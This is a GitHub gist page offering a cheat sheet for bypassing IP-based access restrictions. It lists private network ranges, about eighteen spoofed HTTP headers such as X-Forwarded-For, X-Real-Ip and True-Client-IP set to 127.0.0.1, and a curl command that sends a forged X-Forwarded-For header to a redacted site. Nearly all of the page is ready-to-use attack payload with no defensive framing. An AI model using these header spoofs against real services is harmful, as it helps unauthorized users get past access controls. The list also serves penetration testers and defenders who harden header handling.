Skip to content

Instantly share code, notes, and snippets.

@codedsprit
Created May 8, 2024 08:36
Show Gist options
  • Save codedsprit/7c01081ba1222867238aab3118fe1e34 to your computer and use it in GitHub Desktop.
Save codedsprit/7c01081ba1222867238aab3118fe1e34 to your computer and use it in GitHub Desktop.
Bypass ip address restriction through spoofed localhost header
Private Networks
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
------------------------------
The localhost can be changed using private networks ...
X-Azure-ClientIP: 127.0.0.1
X-Azure-SocketIP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Target-IP: 127.0.0.1
X-Forwarded-Host: localhost
True-Client-IP: 127.0.0.1
X-Original-URL: 127.0.0.1
Front-End-Https: 127.0.0.1
X-host: 127.0.0.1
Forwarded: for=127.0.0.1;proto=http;by=127.0.0.1
True-Client-Ip: 127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
Via: 127.0.0.1
Using curl command
curl 'redaceted.com' --header 'X-Forwarded-For: 192.168.1.1'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment